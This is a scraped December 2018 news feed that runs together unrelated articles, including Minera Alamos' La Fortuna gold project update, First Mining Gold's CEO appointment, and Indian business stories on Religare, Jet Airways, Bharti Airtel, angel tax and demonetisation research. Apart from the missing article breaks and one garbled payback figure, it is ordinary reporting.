communique, veuillez consulter le http://www.iamgold.com/French/accueil/default.aspx Toronto, Ontario and Vancouver, British Columbia--(Newsfile Corp. - December 20, 2018) - Minera Alamos Inc. (TSXV: MAI) ("Minera" or the "Company") is pleased to provide an update of its 2018 development activities at the La Fortuna ("Fortuna" or the "Project") gold project located in Durango, Mexico. "As one of two foundational assets that have been rapidly advanced this year, La Fortuna now has key permitting and technical milestones in place. This provides a path to a commercial production decision in the second half of 2019," commented Darren Koningen, Chief Executive Officer. "Minera can now begin development activities at La Fortuna that will run in parallel with the proposed development of the Santana gold project and allow for our development team to transition from Santana to Fortuna as the year progresses." 2018 La Fortuna Project Development Highlights The completion of a Preliminary Economic Assessment ("PEA" - see further details below) demonstrating robust project economics including an after-tax internal rate-of-return of 93% and an all-in sustaining cost ("AISC") of $440/oz [net of by-product credits]. The receipt of a positive notification from the Mexican environmental authorities (Secretaria de Medio Ambiente y Recursos Naturales - "SEMARNAT") confirming the successful completion of the technical review phase of the Company's application (Estudio Tecnico Justificativo - "ETJ") for the change of land use to construct mining and processing facilities at the Fortuna project area. Following the completion of the change of land use payments made earlier this month, SEMARNAT is now in a position to issue the formal approval documentation for the project. The completion of the geotechnical studies and design of the "dry-stack" tailings containment facilities for the Project which were submitted to the Mexican Federal Environmental Agency (Secretaria de Medio Ambiente y Recursos Naturales or "SEMARNAT") as part of the mine permitting process. The identification of a new area ("La Pista") approximately 1300m southwest of the Company's La Fortuna Main Zone resource that contains significant near surface disseminated gold/silver mineralization with "heap leach style" intervals of up to 50m in width. Rock sampling surrounding the new target zone has returned assays up to 8 g/t Au and 30 g/t Ag over a mineralized area of approximately 500m x 300m. Plans were completed to include testing of the new area in addition to other known areas of historical mining as part of the Company's Fortuna exploration plans for 2019. Production and Economic Highlights from La Fortuna PEA The Company has filed on SEDAR the independent Preliminary Economic Assessment ("PEA") titled "NI 43-101 Technical Report, Mineral Resource Update and Preliminary Economic Assessment of the La Fortuna Gold Project, Durango State, Mexico". The PEA results were previously disclosed in the Company's news release dated August 16th, 2018 and prepared by CSA Global Geosciences Canada Ltd (CSA Global) of Toronto, Canada in accordance with National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101"). The report, which is effective as of July 13th, 2018 can be found under Minera's profile at www.sedar.com and on the company website. Production highlights Average annual contained-metal production of approximately 50,000oz Gold Equivalent (43,000oz Gold, 220,000oz Silver, 1,000t Copper). 5-year mine life based on initial resource "starter pit" with 2.0 Mt of mineralization (3.68 g/t Au, 20 g/t Ag, 0.27% Cu) processed at 1,100 tpd average processing rate. 215koz of Gold, 1.1Moz of Silver, and 5kt of Copper produced in concentrates. Robust economics using metals prices of $1,250/oz Au, $16/oz Ag, and $5,725/t Cu: All-In Sustaining Cost (AISC) of $440/oz [net of by-product credits] After-Tax NPV at 7.5% of $69.8M and IRR of 93%. Pre-Tax NPV at 7.5% of $103.8M and IRR of 122%. Low initial capital costs and rapid payback: Pre-production capital costs of $26.9M. Payback period of 3.9 11 months. 2,000 t/d mill already purchased awaiting shipment to site reduces up-front capital. Significant Upside Current PEA completed on project "starter pit" resource only, a single zone of drilled mineralization that appears to remain open geologically. Additional milling capacity - project permitted for a 2,000 tpd operation with the PEA based on a starting rate of 1,100 tpd. Numerous opportunities for significant economic improvement - improved gold recoveries, reduced initial capital costs, etc. Notes: "AISC per ounce" is a non-GAAP financial performance measures with no standardized definition under IFRS; additional reference info at bottom of release Base case prices for gold, silver and copper were assessed at values approximately 2%-7% below the three-year trailing average prices for each of the metals and below the majority of the publicly available forward looking estimates available as of July 2018 PEA Cautionary Note: Readers are cautioned that the PEA is preliminary in nature and there is no certainty that the PEA results will be realized. Mineral resources are not mineral reserves and do not have demonstrated economic viability. Additional work is needed to upgrade these mineral resources to mineral reserves. For Further Information Please Contact: Minera Alamos Inc. Doug Ramshaw, President Tel: 604-600-4423 Email: dramshaw@mineraalamos.com Website: www.mineraalamos.com About Minera Alamos Minera Alamos is an advanced-stage exploration and development company with a growing portfolio of high-quality Mexican assets, including the La Fortuna open-pit gold project in Durango with positive PEA completed, the Santana open-pit heap-leach development project in Sonora with test mining and processing completed and the Guadalupe de Los Reyes open-pit gold-silver project in Sinaloa with mine planning in progress. The Company is awaiting the pending approval of permit applications related to the commercial production of gold at both the Santana and Fortuna projects. The Company's strategy is to develop low capex assets while expanding the project resources and pursue complementary strategic acquisitions. Mr. Darren Koningen, P. Eng., Minera Alamos' CEO, is the Qualified Person responsible for the technical content of this press release under National Instrument 43-101. Mr. Koningen has supervised the preparation of, and approved the scientific and technical disclosures in this news release. Caution Regarding Forward-Looking Statements This news release may contain forward-looking information and Minera Alamos cautions readers that forward-looking information is based on certain assumptions and risk factors that could cause actual results to differ materially from the expectations of Minera Alamos included in this news release. This news release includes certain "forward-looking statements", which often, but not always, can be identified by the use of words such as "believes", "anticipates", "expects", "estimates", "may", "could", "would", "will", or "plan". These statements are based on information currently available to Minera Alamos and Minera Alamos provides no assurance that actual results will meet management's expectations. Forward-looking statements include estimates and statements with respect to Minera Alamos' future plans with respect to the Projects, objectives or goals, to the effect that Minera Alamos or management expects a stated condition or result to occur and the expected timing for release of a resource and reserve estimate on the Projects. Since forward-looking statements are based on assumptions and address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results relating to, among other things, results of exploration, the economics of processing methods, project development, reclamation and capital costs of Minera Alamos' mineral properties, the ability to complete a preliminary economic assessment which supports the technical and economic viability of mineral production could differ materially from those currently anticipated in such statements for many reasons. Minera Alamos' financial condition and prospects could differ materially from those currently anticipated in such statements for many reasons such as: an inability to finance and/or complete an updated resource and reserve estimate and a preliminary economic assessment which supports the technical and economic viability of mineral production; changes in general economic conditions and conditions in the financial markets; changes in demand and prices for minerals; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; technological and operational difficulties encountered in connection with Minera Alamos' activities; and other matters discussed in this news release and in filings made with securities regulators. This list is not exhaustive of the factors that may affect any of Minera Alamos' forward-looking statements. These and other factors should be considered carefully and readers should not place undue reliance on Minera Alamos' forward-looking statements. Minera Alamos does not undertake to update any forward-looking statement that may be made from time to time by Minera Alamos or on its behalf, except in accordance with applicable securities laws. NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. VANCOUVER, BC / ACCESSWIRE / December 20, 2018 / First Mining Gold Corp. ("First Mining" or the "Company") is pleased to announce that Daniel Wilton has been appointed as the Company's new Chief Executive Officer ("CEO"), effective as of January 7, 2019. Mr. Wilton replaces Dr. David Shaw, a First Mining director who was appointed as interim CEO in mid-October 2018 until a permanent CEO had been identified. Dr. Shaw will continue to serve as a director of the Company. Mr. Wilton has over 25 years of experience in M&A, corporate finance and principal investing in the mining sector. Most recently, he was a Partner at Pacific Road Capital Management, a mining-focused private equity investment firm with approximately $800 million under management. While at Pacific Road, Dan became very familiar with a number of the key gold projects in First Mining's current portfolio, led the investment in Luna Gold Corp. (now Equinox Gold Corp.) and financed the development of the Aurizona gold project through critical pre-feasibility and permitting activities. Prior to joining Pacific Road, Dan's previous roles included Managing Director and Head of the Global Mining and Metals Group at National Bank Financial Inc., and other corporate finance roles at global institutions based in London, Toronto and New York, where he specialized in providing equity financing and M&A advisory services to single asset mining project developers. Dan holds a B.Comm (First Class Honours) from Queen's University and an MBA (with Distinction) from INSEAD in France. Keith Neumeyer, First Mining's Chairman, stated, "On behalf of everyone at the Company, I would like to welcome Dan to the First Mining team. The Board conducted a comprehensive search for the CEO role, and we believe that in Dan, we have found a CEO who combines extensive M&A and corporate finance experience, analytical and financial skills, as well as managerial and strategic talents. Dan's proven track record in working with developing mining companies will be invaluable to First Mining as we continue to advance our corporate strategy and move our highly undervalued gold assets forward. I would also like to thank David for stepping in as interim CEO for the past few months while we undertook our search for a permanent CEO." Mr. Wilton stated "The team at First Mining has done a tremendous job in assembling a large resource base with quality, undervalued gold projects in mining friendly jurisdictions within eastern Canada. I am delighted to be joining the First Mining team, and I am excited about the opportunity to lead First Mining by continuing to advance our corporate strategy and realizing the value of our projects for our shareholders." ABOUT FIRST MINING GOLD CORP. First Mining Gold Corp. is an emerging development company with a diversified portfolio of gold projects in North America. Having assembled a large resource base of 7 million ounces of gold in the Measured and Indicated categories and 5 million ounces of gold in the Inferred category in mining friendly jurisdictions within eastern Canada, First Mining is now focused on advancing its assets towards production. The Company currently holds a portfolio of 24 mineral assets in Canada, Mexico and the United States. For further information, please contact Frank Lagiglia, Investor Relations Consultant at 604-639-8824, or visit our website at www.firstmininggold.com . ON BEHALF OF FIRST MINING GOLD CORP. "Keith Neumeyer" Keith Neumeyer Chairman Cautionary Note Regarding Forward-Looking Statements This news release includes certain "forward-looking information" and "forward-looking statements" (collectively "forward-looking statements") within the meaning of applicable Canadian and United States securities legislation including the United States Private Securities Litigation Reform Act of 1995. These forward-looking statements are made as of the date of this news release. Forward-looking statements are frequently, but not always, identified by words such as "expects", "anticipates", "believes", "plans", "projects", "intends", "estimates", "envisages", "potential", "possible", "strategy", "goals", "objectives", or variations thereof or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved, or the negative of any of these terms and similar expressions. Forward-looking statements in this news release relate to future events or future performance and reflect current estimates, predictions, expectations or beliefs regarding future events and include, but are not limited to, statements with respect to: (i) the Company's focus on advancing its assets towards production; (ii) Dr. Shaw continuing to serve as a director of the Company;(iii) Mr. Wilton's prior track record being invaluable to the Company; and (iv) realizing the value of the Company's gold projects for the Company's shareholders. All forward-looking statements are based on First Mining's or its consultants' current beliefs as well as various assumptions made by them and information currently available to them. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Forward-looking statements reflect the beliefs, opinions and projections on the date the statements are made and are based upon a number of assumptions and estimates that, while considered reasonable by the respective parties, are inherently subject to significant business, economic, competitive, political and social uncertainties and contingencies. Many factors, both known and unknown, could cause actual results, performance or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward-looking statements and the parties have made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation; fluctuations in the spot and forward price of gold, silver, base metals or certain other commodities; fluctuations in the currency markets (such as the Canadian dollar versus the U.S. dollar); changes in national and local government, legislation, taxation, controls, regulations and political or economic developments; risks and hazards associated with the business of mineral exploration, development and mining (including environmental hazards, industrial accidents, unusual or unexpected formations, pressures, cave-ins and flooding); the presence of laws and regulations that may impose restrictions on mining; employee relations; relationships with and claims by local communities, indigenous populations and other stakeholders; availability and increasing costs associated with mining inputs and labour; the speculative nature of mineral exploration and development; title to properties.; and the additional risks described in the Company's Annual Information Form for the year ended December 31, 2017 filed with the Canadian securities regulatory authorities under the Company's SEDAR profile at www.sedar.com , and in the Company's Annual Report on Form 40-F filed with the SEC on EDGAR. First Mining cautions that the foregoing list of factors that may affect future results is not exhaustive. When relying on our forward-looking statements to make decisions with respect to First Mining, investors and others should carefully consider the foregoing factors and other uncertainties and potential events. First Mining does not undertake to update any forward-looking statement, whether written or oral, that may be made from time to time by the Company or on our behalf, except as required by law. Cautionary Note to United States Investors This news release has been prepared in accordance with the requirements of the securities laws in effect in Canada, which differ from the requirements of U.S. securities laws. Unless otherwise indicated, all resource and reserve estimates included in this news release have been prepared in accordance with National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101") and the Canadian Institute of Mining, Metallurgy, and Petroleum 2014 Definition Standards on Mineral Resources and Mineral Reserves. NI 43-101 is a rule developed by the Canadian Securities Administrators which establishes standards for all public disclosure an issuer makes of scientific and technical information concerning mineral projects. Canadian standards, including NI 43-101, differ significantly from the requirements of the United States Securities and Exchange Commission ("SEC"), and mineral resource and reserve information contained herein may not be comparable to similar information disclosed by U.S. companies. In particular, and without limiting the generality of the foregoing, the term "resource" does not equate to the term "reserves". Under U.S. standards, mineralization may not be classified as a "reserve" unless the determination has been made that the mineralization could be economically and legally produced or extracted at the time the reserve determination is made. The SEC's disclosure standards normally do not permit the inclusion of information concerning "measured mineral resources", "indicated mineral resources" or "inferred mineral resources" or other descriptions of the amount of mineralization in mineral deposits that do not constitute "reserves" by U.S. standards in documents filed with the SEC. Investors are cautioned not to assume that any part or all of mineral deposits in these categories will ever be converted into reserves. U.S. investors should also understand that "inferred mineral resources" have a great amount of uncertainty as to their existence and great uncertainty as to their economic and legal feasibility. It cannot be assumed that all or any part of an "inferred mineral resource" will ever be upgraded to a higher category. Under Canadian rules, estimated "inferred mineral resources" may not form the basis of feasibility or pre-feasibility studies except in rare cases. Investors are cautioned not to assume that all or any part of an "inferred mineral resource" exists or is economically or legally mineable. Disclosure of "contained ounces" in a resource is permitted disclosure under Canadian regulations; however, the SEC normally only permits issuers to report mineralization that does not constitute "reserves" by SEC standards as in-place tonnage and grade without reference to unit measures. The requirements of NI 43-101 for identification of "reserves" are also not the same as those of the SEC, and reserves reported by the Company in compliance with NI 43-101 may not qualify as "reserves" under SEC standards. Accordingly, information concerning mineral deposits set forth herein may not be comparable with information made public by companies that report in accordance with U.S. standards. SOURCE: First Mining Gold Corp. View source version on accesswire.com:https://www.accesswire.com/531199/First-Mining-Appoints-Chief-Executive-Officer Religare Enterprises was controlled by the warring Singh brothers until February 2018. New Delhi: Religare Enterprises Ltd (REL) on Wednesday said its subsidiary Religare Finvest (RFL) has lodged a criminal complaint with the Economic Offences Wing of the Delhi Police against promoters Malvinder Mohan Singh and Shivinder Mohan Singh. The complaint also names REL ex-CMD Sunil Godhwani, among other directors, for cheating, fraud and misappropriation of funds to the tune of Rs 740 crore. "Religare Finvest, a subsidiary of Religare Enterprises has filed a criminal complaint with the Economic Offences Wing of the Delhi Police against the promoters of REL Malvinder Mohan Singh and Shivinder Mohan Singh as well as REL's former CMD, Sunil Godhwani, N K Ghoshal, the directors and officers of the promoter entities and other unknown persons for various offences under the Indian Penal Code," REL said in a regulatory filing. The complaint has been registered for various offences including cheating, criminal breach of trust, misappropriation, fraud and forgery and criminal conspiracy, REL said. "The complaint was filed basis internal inquiries (including an independent forensic review) undertaken by the new RFL board and management," it said. REL was controlled by the warring Singh brothers until February 2018. Post-their exit from the board of REL in February 2018, the boards of REL and RFL have been re-constituted. Pursuant to reconstitution, the REL and RFL boards now consist of professionals widely recognised in their respective fields, who are unconnected to the promoters, it said further. "The reconstituted boards have appointed a new professional management to manage the affairs of REL and its subsidiaries. Through the inquiries undertaken by the new RFL Board and management it has discovered siphoning and misappropriation of funds of RFL amounting to approx Rs 740 crores in aggregate through loans to entities that are controlled by, connected to or known to the promoters or their associates," REL said. Earlier this month, the feud between the brothers took an ugly turn when they allegedly came to blows, following which the younger brother Shivinder said the incident had closed any possibility of them working together to resolve the issues. The relationship between the Singh brothers, erstwhile promoters of Fortis Healthcare and Ranbaxy, went sour after allegations of fund diversion from the healthcare chain emerged. It reportedly aggravated further over payment of arbitration award to Daiichi Sankyo. Shivinder had offered to pay his share of the Rs 3,500 crore award to the Japanese drug maker in a dispute related to the acquisition of Ranbaxy Laboratories. Earlier in September this year, Shivinder had filed a petition before the National Company Law Tribunal (NCLT), alleging that collective and ongoing actions of Malvinder and ex-Religare chief Sunil Godhwani led to a systemic undermining of the interests of companies and their shareholders. Bharti Airtel had recently raised $1.25 billion from six global investors -- Warburg Pincus, Temasek, Singtel, SoftBank Group and others through a primary equity issuance in Airtel Africa. New Delhi: Telecom operator Bharti Airtel board Thursday constituted a committee to explore options for raising funds to strengthen the company's balance sheet. According to reports, the company has plans to raise around $2 billion. "The company at its meeting held today has formed and authorised 'special committee of directors for fundraising' to comprehensively explore/evaluate various options of fundraising for the company to strengthen its capital structure and balance sheet," Bharti Airtel said in an exchange filing. The company, however, did not quote the amount it plans to raise. The committee will have to place the final recommendation before the board for its approval and final decision, it added. Bharti Airtel had recently raised $1.25 billion from six global investors -- Warburg Pincus, Temasek, Singtel, SoftBank Group and others through a primary equity issuance in Airtel Africa. The telecom major used the fund to reduce Airtel Africa's existing debt of approximately $5 billion. The consolidated debt of Bharti Airtel stood at around $16 billion at the end of July-September 2018 period. Star Union Dai-ichi Life Insurance, which commenced operations in February 2009, is a joint venture between Bank of India, Union Bank of India and the Japanese major Dai-ichi Life Insurance Company Mumbai: State-run Bank of India is looking to raise Rs 1,000-1,200 crore by selling its entire 28.96 percent stake in life insurance joint venture, Star Union Dai-Ichi Life Insurance, a source has said. The bank will soon float a request for proposal for exiting the JV company, the source added. Star Union Dai-ichi Life Insurance, which commenced operations in February 2009, is a joint venture between Bank of India, Union Bank of India and the Japanese major Dai-ichi Life Insurance Company. The company has negligible market share in the 24-player industry dominated by the national insurer LIC. While BoI owns 28.96 percent in the JV, UBI holds 25.10 percent, and Dai-chi is the single largest shareholder with 45.94 percent stake. "The bank wants to completely exit from this life insurance joint venture. It is looking to raise Rs 1,000-1,200 crore through the process," the source told PTI. The lender has also written to the Japanese partner asking if it would be interested in increasing stake in the company, the source added. As per the current norms, foreign direct investment in the insurance sector is capped at 49 percent. In June 2016, the bank sold an 18 percent stake in the life insurance arm to Dai-ichi Life for Rs 540 crore. The money, as and when the stake sale happens, will help the bank, which is under the prompt corrective action framework of the Reserve Bank, to improve its capital position. The bank had earlier planned to raise around Rs 800 crore by selling a stake in some of its other non-core assets-- STCI Finance and Sidbi. It holds 29.96 percent stake in STCI Finance, while it owns 2.84 percent in Sidbi. The lender, however, could not get the right price for these assets owing to the liquidity crisis in the NBFC sector following default by IL&FS, according to a person familiar to the deals. British politician and economist Meghnad Desai, a self-confessed Narendra Modi admirer till some time back, has accused the prime minister of not being a team player and predicted that the 'disappointed' electorate will not vote him back with a majority Mumbai: British politician and economist Meghnad Desai, a self-confessed Narendra Modi admirer till some time back, has accused the prime minister of not being a team player and predicted that the "disappointed" electorate will not vote him back with a majority. Modi "over promised" and was wrong in believing that he could run the whole country with the help of a few bureaucrats and not with a strong cabinet, as he did in Gujarat when he was the chief minister, Desai said. "Ultimately, the people are disappointed. Somehow, the feeling is that 'acche din ab tak nahin aaye' (the promised good days have not come in yet)," Desai told in an interview on Thursday. The London-settled Desai, a long-time Labour Party member, said Modi had a "great opportunity" and seemed to suggest that lack of team play may prove to be his undoing. "Modi, while being a good politician is not a good team player, he is not a team leader. He is a mass leader, but not a team leader," he said, adding barring Arun Jaitley and Sushma Swaraj, no other minister in his cabinet had previous experience. In contrast, the UPA regime, led by the "unlikely" Manmohan Singh, had at least six cabinet ministers, including Pranab Mukherjee, Arjun Singh, Sharad Pawar and P Chidambaram, who are all prime minister materials, he said. Modi had no idea that things would become so difficult and now it has come to such a level that he will have to ask for one more chance at power, Desai said. When asked if Modi has humility, Desai suggested that BJP's loss in the three Hindi-heartland states earlier this month should be humbling enough to make such a move. No single party will get a full majority in the 2019 hustings and we should brace for either an NDA or UPA-led coalition government, he said and warned that if such an eventuality does happen, it would be difficult to run a smooth house and government, he said. We need to stop expecting politicians to do anything good, he said, adding less of governance will be the best for the economy. Desai also attacked the Modi government for the crisis at the Reserve Bank saying it is not good to lose two successive governors, and specifically pointed out to the invoking of the never-before-used Section 7 of the Banking Regulation Act as a wrong step. If the government has to do something "spectacularly foolish" take the RBI reserves and spend it on "stupidities" like farm loan waivers, and you can see the "rupee is collapsed", he warned and termed the reserves as a "red line" that should not be crossed. He also welcomed the speech by deputy governor Viral Acharya wherein he warned of the wrath of the markets if the central bank's autonomy is compromised, and said that was a "good warning". Asserting that a central bank should not be run for political purposes, Desai lashed out at the untimely removal of Nachiket Mor from the RBI central board and the prominence given to fringe organisations like Swadeshi Jagran Manch in the board now. Organisations like SJM, to which S Gurumurthy belongs, have no place in the country at all, Desai said. When asked about governor Shaktikanta Das, Desai reminded of the independent work done by D Subbarao as the RBI governor despite hailing from the same bureaucracy that Das belonged to. He said the fact that this is the last job for Das, will also be of help. When asked if Patel's resignation will make it be difficult to attract talent from overseas to head key public jobs, he said the Modi regime has to come out clean and set the record straight on the factors that led to the sudden resignation. "The next person invited from abroad to be a central bank governor will want to know what happened in the past and he will call up Patel and Rajan. The government has to give its side of the story clean," he said, should stop "pretending" that nothing has happened. The draft had suggested to introduce a pre-set timeframe for offering differential pricing or deep discounts by e-commerce players to customers. New Delhi: The commerce and industry ministry is drafting a new e-commerce policy to boost the fast-growing online retail sector, a government official said Thursday. "We are in the process of drafting the new e-commerce policy," Secretary in the department of industrial policy and promotion (DIPP) Ramesh Abhishek told reporters in New Delhi. The government has also set up a group of secretaries to look into the issues of the sector. The exercise started after concerns were raised on some proposals of the draft e-commerce policy, which was prepared by the department of commerce after consultations with several stakeholders, including industry chambers. That draft policy had suggested several steps to promote the growth of the sector. It had stated that online retail firms may have to store user data exclusively in India in view of security and privacy concerns. It had also said that any group company of an online retailer or marketplace may not be allowed to directly or indirectly influence the price or sale of products and services on its platform, a move that could completely restrict e-tailers from giving deep discounts. The draft had suggested to introduce a pre-set timeframe for offering differential pricing or deep discounts by e-commerce players to customers. Traders body Confederation of All India Traders (CAIT) has time and again raised concerns over heavy discounts being provided by certain online retailers. Framing of a new policy also assumes significance as rich member nations of the World Trade Organisation (WTO) are pushing to frame global norms for e-commerce. Aviation regulator DGCA is assessing the 'health' of cash-crunched Jet Airways on a fortnightly basis following a financial audit of the carrier in August this year New Delhi: Aviation regulator DGCA is assessing the "health" of cash-crunched Jet Airways on a fortnightly basis following a financial audit of the carrier in August this year, a senior official said Wednesday. As part of this exercise, which is carried out under a particular provision of a civil aviation requirement (CAR), various aspects of the airline's functioning, including aircraft maintenance, are being looked at from the safety point of view, the official said. "The health of Jet Airways is being monitored every 15 days. This is being done as per a CAR and the exercise started four to five months ago," a senior Directorate General of Civil Aviation (DGCA) official said. The NRI Naresh Goyal-promoted private carrier is grappling with significant financial distress in the face of three back-to-back quarterly losses, which have resulted in cash drought and subsequently default on payments to aircraft lessors and a section of staff, among others. "During the monitoring, various aspects from the view point of safety are looked at. This includes assessing whether the airline is able to maintain its aircraft and schedule," official added. The UAE national carrier Etihad Airways holds 24 per cent stake in Jet Airways, which it acquired in 2013. Notably, in late August the DGCA had carried out a financial audit of Jet Airways to assess its fiscal health and ensure that the carrier was not compromising on safety due to financial stress. With a net debt of Rs 8,052 crore as on 30 September, and losses in excess of over Rs 1,000 crore each in the last three quarters, airline is working on ways to raise funds and reduce costs. Last month, Jet Airways Chief Executive Officer Vinay Dube had said the airline was in active discussions with various investors to secure sustainable financing. As part of this, besides its on-going negotiations with Etihad, the airline also had "preliminary" level discussions with the Tata group in the recent past. At the same time, SBI, the largest lender to Jet Airways, has ordered for a "forensic" audit of Jet Airways books between April 2014 and March 2018 for alleged financial irregularities. The forensic audit is being carried out by EY. Raj joined Genpact in 2007. He and his wife, Kriti worked for the same firm. Suspended from work over sexual harassment allegations, 32-year-old Swaroop Raj, executive of the multinational firm, Genpact committed suicide on Wednesday evening at his flat in Noida. He was suspended from work pending probe into the allegations. His wife Kriti got the suicide note written by Raj who then informed the police. A senior employee of Genpact committed suicide at his residence in Greater Noida on Dec 18; Nishank Sharma(in pic), CO Gr. Noida, says "He was terminated from the services over sexual harassment allegations levelled by 2 of his office colleagues. Further investigation underway" pic.twitter.com/4RpHUO6PIq ANI UP (@ANINewsUP) December 20, 2018 Nishank Sharma, Circle Officer, Noida police told Firstpost that police investigations are on. But the deceased's family has yet to lodge an FIR, he said. According to media reports, in the suicide note the deceased has said that though the allegations are baseless, he feared the "entire Genpact will know about it, hence I do not have the courage to face anyone." Raj joined Genpact in 2007. He and his wife, Kriti worked for the same firm. Firstpost tried to contact Genpact offices at Noida, Mumbai, Bengaluru and Kolkata. No one was willing to comment on the case. The bill would replace the Companies (Amendment) Ordinance, 2018 that was promulgated in November. New Delhi: The government on Thursday introduced a bill to amend the Companies Act to further improve the ease of doing business and ensure better compliance levels. The bill would replace the Companies (Amendment) Ordinance, 2018 that was promulgated in November. The amendments will help reduce the burden on special courts and bring down applicable penalties for small companies, among others. The bill will amend 16 sections of the Act "so as to modify the punishment as provided in the said sections from fine to monetary penalties to lessen the burden upon the special courts," Corporate Affairs Minister Arun Jaitley said in the statement of objects and reasons. Apart from enhancing the jurisdiction of regional director for compounding offences, the bill would provide for empowering the central government to allow certain companies to have a different financial year instead of being determined by the National Company Law Tribunal. Last month, the government said the ordinance amending the Companies Act, 2013, was promulgated with twin objectives of "promotion of ease of doing business along with better corporate compliance". The amendments through the ordinance were effected on the basis of recommendations made by a government-appointed panel that reviewed the offences under the Act. With the latest amendments, jurisdiction of 16 types of corporate offences would be shifted from the special courts to in-house adjudication. This is "expected to reduce the case load of special courts by over 60 per cent, thereby enabling them to concentrate on serious corporate offences. With this amendment, the scope of in-house adjudication has gone up from 18 sections at present to 34 Sections of the Act," the ministry said last month. The government will be mindful of concerns around national security threat from Chinese telecom gear firms like Huawei and ZTE at the time of commercial rollout of 5G network but has no issues as far as their participation in the trial of the next generation technology is concerned, an official said. New Delhi: The government will be mindful of concerns around national security threat from Chinese telecom gear firms like Huawei and ZTE at the time of commercial rollout of 5G network but has no issues as far as their participation in the trial of the next generation technology is concerned, an official said. "Government is keeping a watch on the global situation around security concerns. There are no issues around the participation of Chinese telecom firms in 5G trials. The concerns will be examined at the time of commercial rollout by an inter-ministerial panel," a Department of Telecom (DoT) official said. Huawei has proposed to conduct 5G trials in India in partnership with Vodafone Idea Limited. Top officials of Vodafone and Huawei India met telecom secretary Aruna Sundararajan to discuss their 5G pilot project in the country. Recently, a government body Telecom Export Promotion Council approached National Security Advisor Ajit Doval to ban the purchase of equipment from Chinese companies like Huawei, ZTE and Fiberhome for government networks, claiming that they can pose a serious national security threat. TEPC chairman and former telecom secretary Shyamal Ghosh shot off the letter following the recent move by developed countries like the US, Japan, Canada, the UK, Germany, Australia and New Zealand to block the purchase of equipment from companies such as Huawei, ZTE and Fiberhome, particularly for 5G networks. He alleged that there has been a sustained effort by Chinese equipment vendors to win all government and security-sensitive projects such as in power, railways, oil and gas, defence etc at any cost, by offering predatory pricing, so as to gain control of strategic assets in the country. Telecom industry body COAI, however, said that the TEPC's demand to impose restrictions on Huawei and other Chinese firms is without any merit. Huawei too had rejected the allegations saying that it has not received any official communication and the statement issued against it is not backed by any proof. Besides Huawei, the senior management of Swedish telecom gear firm Ericsson and Nokia also met Sundararajan to discuss about 5G trials on Wednesday. Nokia has partnered state-run telecom firm BSNL to conduct 5G trials. Reports said the board of cash-crunched Jet Airways was likely to meet on Thursday. New Delhi: Shares of Jet Airways Thursday gained about 3 percent amid reports that the airline's board is likely to discuss fundraising measures. Shares of Naresh Goyal-led private carrier rose 2.66 percent to close at Rs 252.35 apiece on the BSE. In intra-day trade, the scrip surged 3.33 percent to touch Rs 254. On the National Stock Exchange (NSE), the stocks gained 2.38 percent to settle at Rs 252 before touching a high of Rs 254 during the intra-day trade. In terms of equity volume, 73.17 lakh shares were traded on the NSE while 11.12 lakh shares changed their hands on the BSE. The BSE's Sensex was down by 0.14 percent to close at 36,431.67. Reports said the board of cash-crunched Jet Airways was likely to meet on Thursday. According to the reports, the board meeting might discuss fundraising initiatives, as the carrier is grappling with significant financial distress in the face of three back-to-back quarterly losses. Last month, Jet Airways Chief Executive Officer Vinay Dube said the airline was in discussions with various investors to secure sustainable financing. As part of this, besides the on-going negotiations with Etihad, the airline also had "preliminary" level discussions with the Tata group in the recent past. Gopalakrishnan said there was no way one can come out with an exact valuation for a startup Hyderabad: Information Technology (IT) industry veteran Kris Gopalakrishnan Thursday expressed serious concern over the issue of angel tax notices to startups, and sought its withdrawal. "Clearly, this is a dampener to the whole entrepreneurial ecosystem," the co-founder and former CEO of Infosys Gopalakrishnan told PTI. Section 56 of the Income Tax Act provides that when the shares of a closely-held company fetch a price more than its fair market value, the amount received in excess would be taxed as income of the firm from other sources. Gopalakrishnan, who is chairman of Axilor Ventures and former president of the Confederation of Indian Industry, said there was no way one can come out with an exact valuation for a start-up. "Sometime back, they (the government) had said it (angel tax) will not be levied, but it's happening," he said and hoped the government would respond to the representation made by the industry and those from the entrepreneurial ecosystem to withdraw the angel tax notices. In April last, the government had given relief to start-ups by allowing them to avail themselves of tax concession if total investments, including funding from angel investors, did not exceed Rs 10 crore. Commerce and Industry Minister Suresh Prabhu has said his ministry has raised the issue with the Finance Ministry. Several start-ups have raised concerns over taxation of angel funds under Section 56 of the Income Tax Act, which provides for taxation of funds received by an entity. An angel investor is the one who funds a start-up when it is taking baby steps to establish itself in the competitive market. The government launched the start-up India initiative in January 2016 to build a strong ecosystem for nurturing innovation and entrepreneurship. A working paper from NBER titled Cash and the economy: Evidence from Indias demonetisation tells us that demonetisation indeed lowered the GDP (gross domestic product (GDP) growth by at least 2 percent in the near-term post demonetisation. In November, 2016, when former prime minister Manmohan Singh predicted that countrys gross domestic product (GDP) could fall by about 2 percent on account ofdemonetisation announced by his successor Narendra Modi, it kicked off a political storm. My own feeling is that the national income, that is the GDP, can decline by about 2 percent as a result of what has been done, Singh had said in Parliament then. Impact of demonetisation on the economy versus its perceived gains have been a subject of intense debate since 8 November, 2016. Now, a working paper from National Bureau of Economic Research (NBER) titled as Cash and the economy: Evidence from Indias demonetisation authored by Gabriel Chodorow-Reich, Gita Gopinath, Prachi Mishra, and Abhinav Narayanan tells us that demonetisation indeed lowered the GDP (gross domestic product (GDP) growth by at least 2 percent in the near-term post demonetisation. "Our results imply demonetisation lowered the growth rate of economic activity by at least 2 percentage point in the quarter of demonetisation, the paper says. The economists said their study suggested a decline in nightlights-based economic activity and of employment of 3 percentage point or more in November and December of 2016, which translates into a decline in the quarterly growth rate of 2 percentage point or more. Nightlight intensity refers to low-light imaging data collected by satellite and filtered to measure the quantity of artificial (i.e. human-generated) light in an area. Such data have been used to augment official measures of output and output growth and to generate estimates for areas or periods where official data are unavailable, it 